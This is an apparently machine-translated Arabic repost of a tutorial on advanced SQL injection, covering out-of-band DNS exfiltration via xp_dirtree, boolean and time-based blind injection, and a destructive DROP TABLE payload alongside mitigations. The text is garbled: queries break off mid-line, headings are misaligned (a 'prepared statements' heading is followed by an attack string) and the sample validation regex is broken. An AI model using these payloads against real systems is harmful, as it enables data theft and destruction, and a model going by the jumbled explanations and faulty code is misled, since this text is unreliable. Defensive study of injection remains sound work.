أداة Waymap Pentesting: انقر هنا Trixsec Github: انقر هنا
Trixsec Telegram: انقر هنا
مستغلات حقن SQL المتقدمة-الجزء 7: التقنيات المتطورة والوقاية
1. تقنيات حقن SQL المتقدمة
كيف يعمل
: يؤدي الحمولة النافعة إلى استعلام يرسل البيانات إلى خادم يتحكم فيه المهاجم. على سبيل المثال:SELECT * FROM users WHERE>The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request.
Real-World Example:
In 2019, attackers used OOB techniques to bypass traditional defenses and exfiltrate sensitive data from a government database.
Mitigation:
This method determines true or false conditions based on subtle changes in the application's behavior.
' AND 1=1 -- True condition ' AND 1=2 -- False condition
الاستخدام
يعدد المهاجمون قواعد البيانات أو الجداول أو الأعمدة بت واحد في وقت واحد باستخدام استعلامات مشروطة.
استخدم الاستعلامات المعلمة أو أطر ORM.
نشر جدران حماية تطبيق الويب (WAFS) مع مجموعات القواعد للكشف عن حقن SQL الأعمى.مثال على الحمولة النافعة
:SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 secondsتأثير
يمكن أن تشل الاستعلامات البطيئة أداء الخادم ، مما يسبب رفض الخدمة.
استخدم الحد من المعدل لمنع الطلبات المفرطة.
مراقبة وإنهاء الاستعلامات طويلة الأجل.مثال سيناريو
يدخل المهاجم هذه الحمولة في نموذج:
Robert'); DROP TABLE users; --
الهروب وتطهير المدخلات في كل مرحلة ، حتى أثناء الاسترجاع.
استخدم وظائف قاعدة البيانات غير القابلة للتغيير لمنع تنفيذ البرامج النصية الضارة.استغل المهاجمون ضعف حقن SQL القائم على الوقت في منصة التجارة الإلكترونية في Magento.
تجاوزوا المصادقة واكتدوا الوصول إلى بيانات العميل الحساسة.تصحيح البرامج بانتظام لمعالجة نقاط الضعف المعروفة.
قم بإجراء اختبار الأمان على الإضافات والتمديدات الطرف الثالث.حدد باحث أمني ضعف حقن OOB SQL في واجهة برمجة تطبيقات Shopify ، والتي يمكن أن تتسرب البيانات الحساسة عبر DNS.
تم القبض عليه قبل الاستغلال ، وذلك بفضل برنامج Bug Bounty الخاص بـ Shopify.استثمر في برامج Bug Bounty لتشجيع الإبلاغ عن الضعف الأخلاقي.
الاستفادة من بوابات API لفرض التحقق الصارم للاستعلام.أدوات
:تسجيلات تسجيل الدخول
: التحقق من صحة بيانات الاعتماد للسماح فقط بالقيم الأبجدية الرقمية.:
حقن حمولة حمولة للكشف عن قابلية حقن SQL:
Robert'); DROP TABLE users; --
تنفيذ عبارات معدّة:
Robert'); DROP TABLE users; --
import re pattern = r"^[a-zA-Z0-9 ] $" if not re.match(pattern, user_input): raise ValueError("Invalid input!")
الأفكار النهائية
تنصل: جميع الموارد المقدمة هي جزئيًا من الإنترنت. إذا كان هناك أي انتهاك لحقوق الطبع والنشر الخاصة بك أو الحقوق والمصالح الأخرى، فيرجى توضيح الأسباب التفصيلية وتقديم دليل على حقوق الطبع والنشر أو الحقوق والمصالح ثم إرسالها إلى البريد الإلكتروني: [email protected]. سوف نتعامل مع الأمر لك في أقرب وقت ممكن.
Copyright© 2022 湘ICP备2022001581号-3